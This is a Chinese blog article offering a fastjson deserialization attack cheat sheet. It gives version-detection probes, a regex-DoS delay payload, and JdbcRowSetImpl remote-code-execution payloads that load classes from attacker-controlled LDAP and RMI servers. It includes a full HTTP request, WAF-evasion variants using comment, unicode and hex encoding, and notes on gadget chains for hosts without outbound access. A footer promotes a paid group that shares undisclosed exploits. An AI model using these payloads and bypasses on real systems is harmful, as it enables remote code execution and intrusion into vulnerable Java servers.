当前位置: 首页 > article >正文

fastjson反序列化攻略

漏洞原理

Json.parseObject(json, User.class)方法中,通过指定@type的值实现定位某类,会执行User类的构造方法和属性中的get,set方法

判断是否是fastjson/(jackson)

1.2.24-1.2.83都会有dnslog的payload

{"zero":{"@type":"java.net.Inet4Address","val":"dnslog.com"}}

1.2.36-1.2.62正则DDOS,延时攻击

{
    "regex":{
        "$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"
    },
    "blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
}

版本探测

通过报错信息查看版本号(不一定能爆出)

{"@type":"java.lang.AutoCloseable"
a
["test":1]

无报错信息探测

【不报错】1.2.83/1.2.24 【报错】1.2.25-1.2.80
{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}



【不报错】1.2.24-1.2.68 【报错】1.2.70-1.2.83
{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}



【不报错】1.2.24-1.2.47 【报错】1.2.48-1.2.83
{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl"
    }
}



【不报错】1.2.24 【报错】1.2.25-1.2.83
{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}

延迟判断

fastjson<=1.2.47

{"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://11.111.22.222/test111","autoCommit":true}}

1.1.16<=fastjson<=1.2.24

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://137.30.0.1:9999/POC","autoCommit":true}}

1.2.24 RCE-payload

POST / HTTP/1.1
Host: 192.168.112.131:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.112.1:1099/rrxt2k",
        "autoCommit":true
    }
}

1.2.47 RCE-payload

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.112.1:1099/dwkrty",
        "autoCommit":true
    }
}

绕WAF

/*s6*/绕过
{
  "b":{
    /*s6*/"@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://192.168.112.1:1099/isupvs",
    "autoCommit":true
  }
}


多字符绕过
{"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.112.1:1099/isupvs","autoCommit":true}}


空格绕过
{"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.112.1:1099/isupvs","autoCommit":true}}


unicode编码绕过
{
  "b":{   "\u0040\u0074\u0079\u0070\u0065":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://192.168.112.1:1099/isupvs",
    "autoCommit":true
  }
}


16进制编码绕过
{
  "b":{   "\x40\x74\x79\x70\x65":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://192.168.112.1:1099/isupvs",
    "autoCommit":true
  }
}

不出网

目前公开的两个链

  1. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

利用方式需要一个特定的触发条件,解析JSON的时候需要使用Feature才能触发

    1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞: JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
    2. 服务端使用parse()时,需要 JSON.parse(text1,Feature.SupportNonPublicField)
      这是因为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl需要赋值的一些属性为private 属性,要满足private属性的数据。所以比较苛刻,完全凭运气
  1. org.apache.tomcat.dbcp.dbcp2.BasicDataSource

利用方式则需要应用部署在Tomcat应用环境中。

• Tomcat 8.0以后使用org.apache.tomcat.dbcp.dbcp2.BasicDataSource

• Tomcat 8.0以下使用org.apache.tomcat.dbcp.dbcp.BasicDataSource

其他链可参考

GitHub - safe6Sec/Fastjson: Fastjson姿势技巧集合

第18篇:fastjson反序列化漏洞区分版本号的方法总结

Fastjson不出网利用总结 - 先知社区

微信公众号

扫一扫关注CatalyzeSec公众号

我们一起学习网络安全

加入我们的星球,我们能提供:

Fofa永久高级会员

常态化更新最新的漏洞POC/EXP

常态化更新未公开、半公开漏洞POC

常态化更新优质外网打点、内网渗透工具

常态化更新安全资讯

开放交流环境,解决成员问题

https://t.zsxq.com/18Fq7QNgv

 


http://www.kler.cn/a/274290.html

相关文章:

  • k8s迁移——岁月云实战笔记
  • 《Java核心技术I》Swing的滑动条
  • flink实现复杂kafka数据读取
  • 【Java】递归算法
  • 渗透测试-前端加密分析之RSA加密登录(密钥来源服务器)
  • Pytorch | 从零构建ResNet对CIFAR10进行分类
  • 解决重装系统之后,开始菜单找不到Anaconda3相关图标
  • 快速从0-1完成聊天室开发——环信ChatroomUIKit功能详解
  • Java-SpringAop 编程式事物实现
  • 如何在三个简单步骤中为对象检测标注图像
  • C语言---指针的两个运算符:点和箭头
  • Java 多线程(抢CPU)
  • 面试算法-51-翻转二叉树
  • 【C语言进阶篇】自定义类型:结构体(上)
  • 堆排序(数据结构)
  • SpringBoot项目串口通讯之jSerialComm
  • 什么是多模态学习?
  • 代码随想录|Day21|回溯01|77.组合
  • 面试算法-47-有效的括号
  • 基于”Python+”多技术融合在蒸散发与植被总初级生产力估算中的应用教程
  • Unity类银河恶魔城学习记录11-2 p104 Inventoty源代码
  • C++ Qt开发:QUdpSocket网络通信组件
  • Java安全 反序列化(1) URLDNS链原理分析
  • 基于51单片机PT100温度检测LCD1602显示(程序+原理图+PCB+仿真+全套资料)
  • ModbusTCP转Profinet网关高低字节交换切换
  • 接口和抽象类的区别